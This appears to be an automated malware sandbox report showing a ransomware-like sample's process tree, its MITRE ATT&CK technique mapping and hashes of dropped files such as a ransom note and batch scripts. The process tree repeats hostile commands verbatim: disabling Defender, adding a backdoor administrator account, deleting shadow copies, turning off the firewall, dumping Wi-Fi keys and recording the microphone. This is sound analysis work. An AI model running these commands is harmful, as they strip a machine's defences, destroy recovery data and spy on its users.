        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289145058121139.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6304
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4068
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:15984
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:6740
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:9688
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:11168
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:16868
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:15680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8284
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:8616
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:9868
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:9680
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:9164
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:11000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144959197553.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14144
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12956
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:1936
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:7496
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:16084
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:16564
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:8888
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:6228
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6692
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:8880
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:8324
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:8680
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:3348
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:5068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144863141697.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13548
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13828
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:15312
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:4860
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:13124
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:12032
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:9412
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:10016
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6432
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:7152
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:8156
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:4344
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:7656
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:9064
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144747308610.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12076
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10584
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:3716
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:12612
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:13428
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:14884
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:14000
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:3484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:4224
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:7008
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:6524
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:6904
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:6428
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:5144
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144650465208.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10320
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:10596
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:11812
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:2020
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:12008
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:13744
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:9200
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:15428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:2080
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:120
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:5128
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:1404
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:6956
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:8012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144636910739.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10372
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:10980
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4280
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:11804
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:11028
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:14300
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:10952
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:13204

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:14104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:12376

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 35B
SHA256 1ae819813781e398523578510aa36ccafce9e3210e82aa575b250bd664ac5082
MD5 f178337d8a45a5f62915a8a86a53ad84
SHA1 4a68fd91a51331a3b0c1901da02e2b6974362cc4
SHA512 e8851aca8794b427a8b08e18fff4a3becde519befd064ec7779f66653db7da8fda53f37154b33e954cb563dd573df178df633ce8a905ed1ee7091e6f3d73e58a
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 35B
SHA256 6e151b1170c434e7ed9f095a53cfb3617146a13135540e7b2157a67ef827a08f
MD5 43e7eca84d18be50299404e38beef73e
SHA1 1b86f2253191bdb36c658a51fae4c63ff12da287
SHA512 6839508916c205afa79c9ede20de8333df0bba12c4157e004a6cd0a62c4ebfd7578fa769541e3a0aa414e81cadc4d90759e42a1e019c7e3cba2353ad408cd11a
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 35B
SHA256 3a96a5864611491aab6c70ac3ef6251ef63ddad537b3b737acd26952bcc96ac3
MD5 85b5bc7cf5cc6f5b24b9f72dd1136e9d
SHA1 3203f439ab963691e2c925d9d510ccfdb89bcd02
SHA512 15bdbe9ecdf2f810c8608bec973fcaf17b405df61ea6c169bb5afbf8540c110f185c9c1ecff8baa1d7fbb3eb34c031b457d13b7c3becc74fed341a2ae01085ce
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 35B
SHA256 dda6d55f17e74c183d5bc39ae46dc8e5830b629693aa882ee3e187306ec1ce95
MD5 44da9891dc6cf64172e788425c8b2ad2
SHA1 80471b53b385edfe2500ba977abd2d41217a3d05
SHA512 65b01fbcbd045d92ece613769d446024255ba119a48117e036c60ff25852900d3278b6a2cf7824c2d1e9fa1dd90f0b24dd97ce799da1914424cb86b2e8ff628a
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 35B
SHA256 81b36058610e0c250dbc0de3aae98d5d043e26235ea15b37197f94448d3c110d
MD5 9a7fb880b1b29d9223081ce17d3fe8b1
SHA1 b24e189470734bcea71f8e916532ccf05fbc05b2
SHA512 03675bc0060c820979b22bc52ecb691cc5ab4d0eb60457e7204e822a67954b72aad04eac0624df526df3789079fceda9ee1cd0dd8c7607d32cb3cd418ecbec2b
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 35B
SHA256 ad84ed473ccaf8cf04b8b422bedaff8cc64f1136923ace0a65c2d611b44706b2
MD5 3b98c6fbc72b4a62d62814d2d7659cb1
SHA1 ed2f5905e0a7f9e2d16a0608f8de492db2ac89e0
SHA512 a707e26b640cb090104ef8f41d1cb1a76790c0ae7be24700deb87d97795cadd4e5a0a49d5290eb3ec8e675145ae6c237234a562d91cfbf53b3ed458cea0f1a29
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 35B
SHA256 bc1eaa0a4c58cc6a91760a0301bb0f1a64cf75653b678abb021cd27201b5340f
MD5 711448a1ebcd30764d0b890bbdb649bc
SHA1 1f1995337ebce699c6353c2faebc74a7a33bf6fa
SHA512 efe04f23d8cbc76ca8fbe5d6f5b4fbc8e432f79552e7cbcedd17642b6ab6dbe2ba8351c5e2b3e0320d6394dcb25315eb123fa22c92c2dcac249f65918a48b7ea
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 35B
SHA256 ec043251f50c4dbd3058f53ab1ccc934864fdc07706712c464b03d13e1079c77
MD5 320e0ae7a49fc8754751a7659dd96b25
SHA1 dac81f34809f979b30ebd5c8af467358ebc63632
SHA512 eeef65ee7f309d0eb3eed3835356e971f19b5a6f42b3eff9eac0aceab91ae62c33afc86334d947a6bfcf820296f2fec9d224b1a48db00958406993b015869ee2
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 35B
SHA256 c249da022b3c30c3bea36ce47fa345b0bdcb264982f9a9712450034314820538
MD5 530d64c38b89a41c7d3f4a7556feba85
SHA1 f4eae492cf2e40e35427af9154e252612577b3c5
SHA512 85beae37172f45aecdfffd0b4cd258f01f840404d3b5db5a6f75a8f6e96d1e9e941151368a8aad9bb6b095070cf47622fed043e1c4366e276dd2149782a65d0f
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 35B
SHA256 72fdd0ceaeb7c6f2c22c9229a2c671b30aa5a13c2fd1faff9b4c350150c6fd0b
MD5 537e1c2f5666d7aafce0d9d2dd9fbd67
SHA1 dd112ed103010c972f6c3b7324b81fbaafa16ae4
SHA512 63b58ec80ccde4fe0f20d34436298ee690d1bde650f05c533ec9a65a63e6c0a68f4b11e4202589b7c4bd5b92174c1667f861ac1fea1fbec9ecc340769d6bae19
MD5 SHA1 SHA512

Submit Download

wall.bmp

Path C:\ProgramData\WindowsUpdate\wall.bmp
Size 4KB
SHA256 bfae0295664ce051cb59b4d5c6778bd55fc84e27cf2f68a2ee1c0191cc03903c
MD5 6b2dd92d813df1a29e272071229c77f7
SHA1 e0452bac1d427ffbfd71c613fe8aeb9b1a02c72b
SHA512 e6d29fc5b5c60c9c15834157db2a25fac1c6086d4bed389361126d5e6c82a769eafc026667c4c97e6059e84b348feba84e4a133ea265d4e93b370d094eacb41a
SSDEEP 48:LeXxko9UiJNSNGSn0j+Vx8pckYKgI4QSFc2K8CawnYSzRrh:8jpe0WSpXdX5SdfCawn5
TLSH
T1A6A11266F90ED2B0100B87B09F25152CE9CF0DCDE3A00D544A2A5C589AC2DB5AF79F6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
MD5 2effd9b76a5fd667b1642852861ce04e
SHA1 86c9117fff0fd1a99dbc6dba27ebd143235eb996
SHA512 5f51665089f7705ba4dbb70b3b6d4368208751a5577300c73910fa46c6b6fd038b6d1c26b0e455bcf2f0cff058e9d18768692a998ba4e273f8ed56c9c3d938a4
SSDEEP 1536:1KLg07Yo2hk3MFfKQVAflJdpHYLh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hk3MFfKQVAflJd9YLqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3e2bee5d-76af-48f1-b414-1f22a6e7e666.inf

Path C:\Users\Admin\AppData\Local\Temp\3e2bee5d-76af-48f1-b414-1f22a6e7e666.inf
Size 173B
SHA256 d422268ef8d1d6d81289f93b6e050ced2c71bce44f94f7d0a959a3c170b6ec05
MD5 8af140ccea78f42762fb2175867edb69
SHA1 dc01a448c144a4f90ec40304790c9c20b32dd98e
SHA512 372cb2f56b692ed5a1dc4fbb1f598956e7640f8e95b624fd712e50e4ee8d1acee3871efa886bdd35fea98ecdb773bf53837215c296ba0af369c2a246198a8547
TLSH
T127C080C0C1F0977905097973153B47944DB3C9057D05174C30F0DD674255C0566D327E
MD5 SHA1 SHA512 TLSH

Submit Download

67ff1b59-743e-4f42-9024-5e8a629c7c61.inf

Path C:\Users\Admin\AppData\Local\Temp\67ff1b59-743e-4f42-9024-5e8a629c7c61.inf
Size 154B
SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
MD5 e2ebb345743e6ee5447f499dcfe72fa9
SHA1 44bf1537d559f0037a951a26be863389fd6bf118
SHA512 d344692d13026eb3fc634d3972571a7ff60c035bee43ed7c8f69fd2f0ee582ccc49303a99c65287706801a1ea8e00aa0b067c800ca81c69f460047b6a0255a23
TLSH
T173C08CC4C0F096B60A0A6833213B03E44EB2C2057E8A170810F0EA6A82E980462D323E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_cskntsxn.cki.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cskntsxn.cki.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 60B
SHA256 a3c49dc6321b383fe442751d8847aa8995e37b99ec4c8c80731e8aa3b41da2d8
MD5 b31608602a1e0bf182890383caa50432
SHA1 934b32186076f89d14be5f08a2fd36c4fd0fff0b
SHA512 9e4fbbc0a526b8a691f0c4a8f9c9249863098bd5cce109547cf426e2778181a72a372d456a6d357fd48ad419cce3e09b8d8df57ef3df1529ed4ab043c067e228
TLSH
T1ACA002068885856F08154C1715E367C9B0B9045DAAC67A004241982C1AD745AB4CA512
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 79B
SHA256 c4c4760db8ffeb8aa679bb5cc92e1e6708306145f1db7d44997eb5ee4dc4dec6
MD5 5df0dfc7e3866f2e9f4bfb53ddc4f579
SHA1 0cf8a542c6f8a5c102fb663790eb29aea7d7e843
SHA512 711e34f015c604b4f32e3f0ff4c404a24e618ea15585b3533d91e8613f49fad0a39ab1c3896d25a3ea3f2ccd3ccd1a75da53e5d6cab8ec6fab5b7a8808d36ac1
TLSH
T1D3A02403CDC1433F04040D0304D1574D70750C5C750137403100CC1D0543C4F7CC5103
MD5 SHA1 SHA512 TLSH

Submit Download

tcpmon.exe

Path C:\Users\Admin\AppData\Local\tcpmon.exe
Size 39KB
SHA256 fe11285bd96d0a31bcbc640cb1e9fdd22861e42b3133021ff867d9c3e5dd5c36
MD5 accb579d9199d1e7a142be05b9336f42
SHA1 4aa7bab5251cb4047ba4292907599fb34a0252e8
SHA512 65b154ca3bf11dbec7dd79c4a0b04df377c05b43413ced2c0a5cbdbd985a06eed6b17eeae25ff49870baf22ce81b5803c506241c34bcbe98ade873d26aaa83e7
SSDEEP 768:yIX+3t4tMYrbLcqNuYs37sGqmoI89bHvdEEusXqKhhayz1:Ud4tBbLk4xmoI89bPdf9XqihF
TLSH
T15103E74437FD8668F1BF6AB74D7282008775F8978D22D70D0ED1848E1AB3B448E98B93
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.dat

Path C:\Users\Admin\AppData\Roaming\1CAE8997-2D3A-411F-B70B-65B77D3CC09F\config.dat
Size 28B
SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
MD5 d99903add8344822cf8ca20255db9518
SHA1 363722ecd9868f749c701f4214eb6da19585ca60
SHA512 47e3aac366e6258bc2a6dadff0c41c3e45442339520f2f6818ac598989f4f6cf1a704a6c31417ab486b1af914ee2cf655d1af777eddc85d7c66aaa0a466e0d6b
MD5 SHA1 SHA512

Submit Download

run.dat

Path C:\Users\Admin\AppData\Roaming\1CAE8997-2D3A-411F-B70B-65B77D3CC09F\run.dat
Size 20B
SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
MD5 70e87321819d7fd280e5a03903c80ff1
SHA1 e059e29a7446feeb08fec50f65ab8cb2e47df6fd
SHA512 f3813e6ce663015e9a147ae195d33d87a49799411f98e5f61c8b5e7261945ec8c1ee424002887d1bfd89cdaf0599e51e788fefc527f803c2508538f2132aa60e
MD5 SHA1 SHA512

Submit Download

RANSOM_NOTE.txt

Path C:\Users\Admin\Desktop\RANSOM_NOTE.txt
Size 117B
SHA256 7cf8d385e7141b5bc8c2c48cf20a57c41dfc05d2474ba29c93189a4e193522d8
MD5 6482e81290ba858401e5a31b894cb00b
SHA1 215925ac6e0c8e377e8529dc318fa2416728e1ef
SHA512 fbbb4cddc867bb9a83252c102edfda25212acbe981d97b1b92f8cf00451bdc2fd2ad6b08cce34bebbb44c3195f69e906952a7fa2ec4bca495c9b08edbb210359
TLSH
T147B09B5B7ED8375457C8259215018C21A58DD50CD5454654013788506D655591595873
MD5 SHA1 SHA512 TLSH

Submit Download

invoice_2.pdf

Path C:\Users\Admin\Desktop\invoice_2.pdf
Size 52KB
SHA256 830673cf9f89c12aca529b588c04b5cb5c7e74e697186d6d7f2f1f9371234e78
MD5 c2f184953be76d2c6fe2956365fa69dd
SHA1 0f4289980b3a3361d96e20240bb1a56df8a5cd79
SHA512 3202498d7c84f1ca54cdd3880a2992dcadb92b2463ecc343d4d9c16c732782d829974afbb87a274581bfce69277da11450b8e12101c35f32077a11bf6f4d053b
SSDEEP 1536:c5BbWGswT1FnOmX1L/bBRK1IVqXxLaTJRU2MC7zXojXovQ/:yRFswhN7K1sHzXmXU4
TLSH
T1E33318374B22FDC0677F3D54F0542D561C583E5B8775A228FAC10DB628EA644DF2A8A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 4KB
SHA256 12baef564c4654ef7bd086057f7442cb5da464a59794b8be5617a7aeaddd14a5
MD5 5187cff036b1047193f91bd87a0bf938
SHA1 f7d24b8ab78c941fa6fa48cbc36c20450c952585
SHA512 90be74c2d13eab34fc88c8860d1830f91ecca3b6b2f51a7ff106f093f5371c226a62fdb645e9a3f9473df935e7e6800021addc7817ad7fb14ec0e1f0299b2dda
SSDEEP 96:vDZEurK9DvB9QjLQjLQjLQjZQjLQjLQjDQjZQjZQjEQjLQjEQjZ:RrK9zB9CLCLCLCZCLCLCDCZCZCECLCE2
TLSH
T131A1BE321909A5EC02F7C1A4007AF17FD917F1720CDEF8C6A598D5A633F4AAD21E11AD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4336-110-0x0000023D73000000-0x0000023D7300A000-memory.dmp

Download

memory/4336-74-0x0000023D73010000-0x0000023D7302E000-memory.dmp

Download

memory/4336-41-0x0000023D72AE0000-0x0000023D72B02000-memory.dmp

Download

memory/4336-75-0x0000023D73150000-0x0000023D73202000-memory.dmp

Download

